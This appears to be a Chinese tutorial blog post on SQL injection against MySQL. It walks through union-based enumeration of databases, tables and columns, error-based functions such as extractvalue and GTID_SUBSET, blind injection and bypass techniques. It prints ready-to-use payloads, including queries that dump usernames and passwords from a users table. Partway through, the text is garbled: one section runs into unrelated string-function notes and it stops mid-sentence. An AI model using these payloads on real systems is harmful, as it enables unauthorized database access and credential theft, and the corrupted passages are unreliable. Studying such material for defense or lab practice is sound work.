您当前的位置: 首页 >  sql

贤鱼不闲

暂无认证

  • 6浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

半小时了解SQL注入漏洞?(注入方式大全+绕过大全)

贤鱼不闲 发布时间:2022-10-01 07:00:00 ,浏览量:6

🏆今日学习目标: 🍀学习了解sql注入漏洞 ✅创作者:贤鱼 ⏰预计时间:35分钟 🎉个人主页:贤鱼的个人主页 🔥专栏系列:网络安全 ⚠如有需要可以查看以往文章: 一文了解数据库操作–mysql(25分钟) 具体详细介绍在专栏中有单独介绍,可以查看 只有了解才能注入

请添加图片描述

SQL注入
  • 🍀union注入
    • 原理
    • 过程
      • 判断数字或者字符串
      • 判断字段数
      • 判断回显点
      • 注入库名
      • 注入表名
      • 注入列名
      • 查数据
  • 🍀报错注入
    • 原理
    • 注入
      • extractvalue
      • 双查询注入
      • 双列名查询
    • 报错函数
      • geometrycollection()
      • multipoint()
      • polygon()
      • multipolygon()
      • linestring()
      • multilinestring()
      • exp()
      • ST_LatFromGeoHash()
      • ST_LongFromGeoHash()
      • GTID_SUBSET()
      • GTID_SUBTRACT()
      • ST_PointFromGeoHash()
      • procedure analyse()
  • 🍀盲注
    • 布尔盲注
      • 原理
      • 布尔盲注payload构造步骤
      • 截取字符串
        • substr()
        • mid
        • rigth()
        • left()
        • regexp
        • rlike
        • trim
        • insert
      • 字符串定位函数
      • 比较
      • rlike/regexp
        • between
        • in
        • and,or减法运算
      • 脚本
    • 时间盲注
      • 原理
      • 时间盲注payload步骤
      • 条件语句构造
        • and
        • or
      • 延时操作
      • sleep
        • benchmark
        • 笛卡尔积延时
        • 正则dos延时
      • 脚本
    • 报错盲注
      • 原理
  • 🍀堆叠注入
    • 原理
    • 实施方法
      • table
      • handler
        • 原理
        • 模板
        • 使用方法
  • 🍀修改数据
    • 前提
    • 具体方法
  • 🍀绕过方法大全🔥
    • 常见绕过方式
    • 关键字绕过
      • 字符串
      • and/or
      • and/or/union
      • and/or/union/where
      • and/or/union/where/limit/group by
      • and/or/union/where/limit/group by/select
      • 空格
      • 逗号
      • 单双引号
  • 🏆结束语

🍀union注入 原理

利用union关键字,union会将前后两次查询结果拼在一起,由于是联合查询,必须保证字段数一致,也就是两个查询结果有相同列数

过程

1 判断数字或者字符串注入类型 2 判断字段数,查询有几个字段 3 判断回显点,有些字段存在但是不会输出内容,我们需要找到会显示的字段数 4 注入库名 5 注入表名 6 注入列名 7 查数据

判断数字或者字符串

输入: id=1 id=1’ id=1’–+(–+是注释的意思) 为什么有时候加个单引号会报错,而加个注释又会查询成功呢? 举个栗子:‘xxx xxx xxx’这样子是正常的 ‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错 ‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了,也就不会报错了

判断字段数

上文说过,union前后查询字段数必须一致,所以我们还要对字段数进行判断。在此可以利用order by n进行判断,意思是根据n个字段排序,如果不存在这个字段就会报错

在这里插入图片描述

这里依次查询1,2,3,4,5

在这里插入图片描述

4和5都会报错,所以可以得知,字段数为3 当然 union也是可以用的

在这里插入图片描述

第一个是1查询的,后面三个是1,2,3查询的,1,2,3,4依旧报错

判断回显点

这里的操作和上文union查询字段数一样

在这里插入图片描述

很明显,字段数3中,我们的1,2,3都输出了,所以回显点就是1,2,3

注入库名

查询到回显点,就要开始注入了,想要注入数据,必须得到他的库名 获得库名可以用database()函数 如图:输入id=-1’ union select 1,2,3 --+

在这里插入图片描述

我们再回显点2位置注入,发现成功获得了库名

当然,换个位置效果一样

分享几个查询数据库的方法

id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+
注入表名

有了库名就可以查询表名了

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+

就可以查询到表名了

注入列名

查询到库名和表名就可以查询列名

d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+
查数据

接下来就是查询数据了

id=-1' union select 1,username,password from security.users limit 0,1 --+
id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+

concat() :将两个字段结合成为一个字段

在这里插入图片描述

🍀报错注入 原理

利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中 sql查询的星系会被报错语句返回到界面上

注入 extractvalue

extractvale(MXL_document,xpath_string);

第一个参数为xml字符串 第二个参数为xpath格式字符串

作用,从xml中返回包含查询字符串

注意! 查询时用group_concat或者limit 记得用substr函数进行截取,extractvalue报错信息最多32个字符

后面的程序和上文union注入差不多,如有需要可以查看

双查询注入

上文所说查询时用group_concat或者limit 有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit 在这里插入图片描述 用limit将结果一行一行爆出

双列名查询

join: 用于将两个表连接

在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数 geometrycollection()

geometrycollection((select * from(select * from(select user())a)b));(5.1>=version=version=version=version=version=version=version=5.7)

ST_LongFromGeoHash()

select ST_LongFromGeoHash(user());(*>=5.7)

GTID_SUBSET()

select GTID_SUBSET(user(),1);(*>=5.7)

GTID_SUBTRACT()

select GTID_SUBTRACT(user(),1);(*>=5.7)

ST_PointFromGeoHash()

select ST_PointFromGeoHash(user(),1);(*>=5.7)

procedure analyse()

procedure analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句 末尾,(* 返回字符串 str 中子字符串的第一个出现位置,否则为0 FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0 LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置 在pos。如若substr 不在str中,则返回值为0 POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0

用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在 pos。如若substr 不在str中,则返回值为0。

比较 rlike/regexp

上文有讲,截取+比较结合体

between

用法 expr between 下界 and 上界 意思是是否expr>=下界 &&expr

关注
打赏
1664987740
查看更多评论
立即登录/注册

微信扫码登录

0.0427s